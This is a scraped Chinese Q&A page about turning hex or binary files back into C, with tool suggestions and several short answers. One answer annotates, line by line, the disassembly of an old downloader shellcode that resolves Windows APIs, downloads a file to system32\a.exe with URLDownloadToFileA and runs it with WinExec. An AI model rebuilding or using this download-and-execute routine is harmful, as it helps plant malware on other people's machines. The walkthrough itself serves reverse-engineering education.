问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

谁能帮我把一个hex文件反编译为c语言文件?

发布网友 发布时间:2022-04-23 06:28

我来回答

2个回答

热心网友 时间:2022-04-10 05:17

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。


1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。


OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

 在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。


将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

4AD75021    5A                     pop     edx                                           ; 函数返回的地址保存到edx中
4AD75022    64:A1 30000000         mov     eax, dword ptr fs:[30]                        ; 取peb
4AD75028    8B40 0C                mov     eax, dword ptr [eax+C]                        ; peb_link
4AD7502B    8B70 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi
4AD7502E    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel32.dll的地址
4AD7502F    8B40 08                mov     eax, dword ptr [eax+8]                        ; eax=kernel32.dll的地址
4AD75032    8BD8                   mov     ebx, eax                                      ; ebx=kernel32.dll的基址
4AD75034    8B73 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移
4AD75037    8B741E 78              mov     esi, dword ptr [esi+ebx+78]                   ; esi为kernel32.dll导出表的偏移
4AD7503B    03F3                   add     esi, ebx                                      ; esi = kernel32.dll导出表的虚拟地址
4AD7503D    8B7E 20                mov     edi, dword ptr [esi+20]                       ; edi=ent的偏移地址
4AD75040    03FB                   add     edi, ebx                                      ; edi = ent的虚拟地址
4AD75042    8B4E 14                mov     ecx, dword ptr [esi+14]                       ; ecx = kernel32.dll导出地址的个数
4AD75045    33ED                   xor     ebp, ebp                                      ; ebp=0
4AD75047    56                     push    esi                                           ; 保存导出表虚拟地址
4AD75048    57                     push    edi                                           ; 保存ent虚拟地址
4AD75049    51                     push    ecx                                           ; 保存计数
4AD7504A    8B3F                   mov     edi, dword ptr [edi]
4AD7504C    03FB                   add     edi, ebx                                      ; 定位ent中的函数名
4AD7504E    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD75050    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数
4AD75052    59                     pop     ecx                                           ; 设置循环次数为 0xe
4AD75053    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD75055    74 08                  je      short 4AD7505F                                ; 如果ENT中的函数名为GetProcAddress跳走
4AD75057    59                     pop     ecx                                           ; 不相等则将导出地址数出栈
4AD75058    5F                     pop     edi                                           ; ent虚拟地址出栈
4AD75059    83C7 04                add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节
4AD7505C    45                     inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D  ^ E2 E9                  loopd   short 4AD75048                                ; 循环查询
4AD7505F    59                     pop     ecx
4AD75060    5F                     pop     edi
4AD75061    5E                     pop     esi
4AD75062    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx
4AD75064    8B46 24                mov     eax, dword ptr [esi+24]                       ; esi+0x24 Ordinal序号表偏移地址
4AD75067    03C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址
4AD75069    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4AD7506B    03C1                   add     eax, ecx
4AD7506D    33C9                   xor     ecx, ecx                                      ; ecx=0
4AD7506F    66:8B08                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号
4AD75072    8B46 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel32.dll的EAT的偏移地址
4AD75075 >  03C3                   add     eax, ebx                                      ; eax = kernel32.dll的eat虚拟地址
4AD75077    C1E1 02                shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值
4AD7507A    03C1                   add     eax, ecx
4AD7507C    8B00                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4AD7507E    03C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD75080    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi
4AD75082    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址
4AD75084    83C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址
4AD75087    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址
4AD75089    6A 04                  push    4
4AD7508B    59                     pop     ecx                                           ; ecx=4

有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

4AD7508C    E8 50000000            call    4AD750E1                                      ; 设置IAT 得到4个函数的地址
4AD75091    83C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能
4AD75094    52                     push    edx
4AD75095    56                     push    esi                                           ; urlmon
4AD75096    FF57 FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll
4AD75099    5A                     pop     edx                                           ; edx = GetProcAddress的地址
4AD7509A    8BD8                   mov     ebx, eax
4AD7509C    6A 01                  push    1
4AD7509E    59                     pop     ecx
4AD7509F    E8 3D000000            call    4AD750E1                                      ; 再次设置 IAT 得到URLDownLoadToFileA
4AD750A4    83C6 13                add     esi, 13                                       ; esi指向URLDownLoadToFileA的末地址
4AD750A7    56                     push    esi
4AD750A8    46                     inc     esi
4AD750A9    803E 80                cmp     byte ptr [esi], 80                            ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC  ^ 75 FA                  jnz     short 4AD750A8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE    8036 80                xor     byte ptr [esi], 80
4AD750B1    5E                     pop     esi
4AD750B2    83EC 20                sub     esp, 20                                       ; 开辟 32 byte栈空间
4AD750B5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针
4AD750B7    6A 20                  push    20
4AD750B9    53                     push    ebx
4AD750BA    FF57 EC                call    dword ptr [edi-14]                            ; 调用GetSystemDirectoryA得到系统目录
4AD750BD    C70403 5C612E65        mov     dword ptr [ebx+eax], 652E615C                 ; ebx+0x13 系统路径占 0x13个字节
4AD750C4    C74403 04 78650000     mov     dword ptr [ebx+eax+4], 6578                   ; 拼接下载后的文件路径%systemroot%\system32\a.exe
4AD750CC    33C0                   xor     eax, eax
4AD750CE    50                     push    eax
4AD750CF    50                     push    eax
4AD750D0    53                     push    ebx
4AD750D1    56                     push    esi
4AD750D2    50                     push    eax
4AD750D3 >  FF57 FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe
4AD750D6    8BDC                   mov     ebx, esp
4AD750D8    50                     push    eax
4AD750D9    53                     push    ebx
4AD750DA    FF57 F0                call    dword ptr [edi-10]                            ; WinExec执行代码
4AD750DD    50                     push    eax
4AD750DE    FF57 F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。


使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例 ,相信应该能理解一个大致的流程啦。

追问你能帮我么

热心网友 时间:2022-04-10 06:35

本人从事把HEX文件反编译成C语言很多年,成功完成把机器执行代码变成C语言的项目20余个,涉及的处理器有:8085和Z80(古老的处理器,比现在大部分程序员的年龄还大了),51系列,STM32,PIC,AVR,8086等等。大的项目原来的二进制代码达到100多KB。
把HEX文件变成C语言,HEX文件原来最初应是用C语言写了以后编译的,如果原来就是用汇编语言写的,就比较难变成C语言,因为这相当于理解汇编程序以后用C语言改写。
当然,目前为止,没有一个软件工具能自动把执行代码准确反编译成C语言,这些处理都是人工进行处理的,反编译的工作量是很大的。
反编译是逆向设计工程,一般用于研究别人的产品,作为学习和参考。实施反编译应注意涉及知识产权的问题。
在反编译方面有兴趣的朋友欢迎讨论。
有那位高手,能不能把HEX文件转换成C语言

这个属于反编译了 不同的hex 有不同的反编译工具 你可以搜你平台对应的工具 不过 反编译结果一般都很差 不可能恢复到原始代码的

如何将hex文件转为c语言?

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。 OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一...

如何在winhex里面将一个文件转成C语言数组存储

1.winhex打开所选文件 2.选中要选择的第一个数据,点击右键,选择——选块开始(alt+1)3.选中要选择的最后一个数据,点击右键,选择——选块结束(alt+2)4.左键点击编辑->全部复制-->C源码(此时已把C数组文件粘贴到了剪贴板)5.将文本复制到一个文件,文本会以数组形式展现。

怎么样把hex转化成C语言形式?

1、用相应的IDE(例如:keil)创建一个工程,然后将该C语言文件中的代码复制到工程中的目录下。然后使用keil 对该工程进行编译。这样就可以得到hex文件。2、使用相应的编译器,一步一步的编译。不推荐第二种方法因为,单独使用编译器编译需要很多麻烦的步骤,还有可能会出错。直接使用IDE会更加方便省去很多...

怎样把.hex文件反编译为c语言

如果hex文件是二进制代码转换得来的话,只能反汇编成汇编语言。直接反编译到C语言不太可能。

如何将单片机HEX文件转换成C语言或汇编

1、.hex是二进文件。.asm是汇编文件。是C编译器产生的。如果谁把汇编语言还原成C,几乎不太可能,如有这时间功夫,C程序自已都可早早重新编好了。2、可以用反向工程hex2c:开始—>运行—>输入CMD 找到hex2c.exe所在文件夹路径 输入 hex2c <hex文件名称.hex> <生成c文件名称.c> ...

请问hex文件可以反汇编为C语言程序呢。谢谢

bin 或 hex文件可以反汇编为汇编语言程序,bin 或 hex文件不能反汇编为C语言程序。

如何将hex文件装华为c语言

所以目前还没有哪种软件可以令人满意的实现汇编到C的转换,只能转换成汇编代码。建议:如果重新编不是太困难的话,还是重新写C代码吧。 除非是想要把单片机里的程序破译出来,这种情况下也是将HEX反编译成ASM文件,然后根据这个汇编文件再编写或手工改写成C的 ...

hex 文件 没有源程序 转成c语言 有可能行么?

不大可行,对于不同的单片机,指令集是不同的,比如指令0x03,在51里可能是传送指令,在pic又可能是加法指令,要这种软件,得找对各种单片机都了解的人。

用于单片机烧写的文件---.hex文件,如何将.hex文件转换为容易解读的语...

用51反汇编工具 V1.0 智能版(这个可以反汇编的)Hex-Rays插件 v1.0.071108。。。(这个可以反C语言的,貌似是最好的了)但是反出来的效果不太好。。因为官方的要付费,所以没用过,不能给你提供详细步骤了,不好意思 自己去搜索下,研究下吧 呵呵 ...

hex文件反编译成汇编语言 单片机hex文件反编译成c语言 hex文件反编译成汇编 bin文件反编译c语言 反编译c语言的二进制文件 hex反编译到c语言 单片机hex文件反编译 bin反编译为C语言 c文件转化hex文件
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
双眼皮手术拆线后,用热水洗脸,为什么在眼角处会出现冲血现象?就是出现... 双眼皮浮肿晚上睡觉前用热水敷眼皮好还是冰水好? ...所以想备份系统,可又不知道怎么做,急求详细回答,谢 干黄,高血压,高血脂,痛风,请问能吃炖品吗 ...无翁日】 【执日】【周堂日】【不将日】 是什么意思? 侠盗猎车手哪个好玩 侠盗猎车手罪恶都市通关后有什么特别的事情可以做 侠盗猎车手罪恶都市除了军营还有哪些有趣的地方 “西风徐榻独栖惯”的出处是哪里 “然尚过于周堂”的出处是哪里 编写一个求水仙花的c语言程序,并在Linux下编译运行,写出程序代码及命令... Linux编译C语言,源程序文件放在什么路径? 我想反编译linux下c语言生成的可执行文件!请大家帮个忙告诉我用哪个软件或工具,不胜感激! 在linux虚拟机中怎么用c语言编译输出"hellolinux"。。。求详细过程... 在LINUX下被编译过的程序可以被反编译吗 苹果手机微信聊天记录删除了还能恢复吗? 现在还能升级ios 10.3.3吗 苹果手机微信聊天记录删了还能恢复吗 微信聊天记录删除怎么恢复,ios微信记录恢复 苹果手机聊天记录删除了能恢复吗 苹果手机微信聊天记录删掉了,能恢复吗 房地产的电气工程师主要负责什么工作? 房地产甲方水电工程师主要做什么 房地产实习工程师的工作内容有哪些? 苹果微信聊天记录删除了能恢复 我是学房地产的想去房地产开发公司工程部工作可是不知道工程部都有什么岗位或者部门,工作具体内容? 请问一个房地产行业的土建工程师日常工作任务是什么 房地产公司工程部 房地产土建工程师在房建过程中各阶段的主要工作是什么?比较急谢谢大家 房地产里的安装造价师的工作内容? win10家庭中文版 局域网内远程控制问题! win10家庭版为什么不能远程控制 win10家庭版想要被远程需要怎么办 win10家庭中文怎么开启远程桌面连接不上 win10远程无法控制该如何解决? win10家庭中文版支持远程协助吗 win10怎么不能远程协助 实现各种输入法的切换,同时按下什么键和什么键? 请问手机看视频时怎么调左右声道 切换页面快捷键ctrl加什么? 有没有一款手机视频播放器可以切换左右声道的 腾讯视频怎么切换声道? 电脑的输入法怎样用ctrl加shift进行切换。是怎么回事呢?谢谢 手机转换声道的软件下载 电脑键盘的ctrl和tab同时按是不是可以切换输入法 2016年社工考试报名是什么时间 双声道电影在手机上怎么转换声音? 输入法切换ctrl+shift与ctrl+space的区别是什么? 什么软件可以转换声道 广东中级社工资格审核的工作证明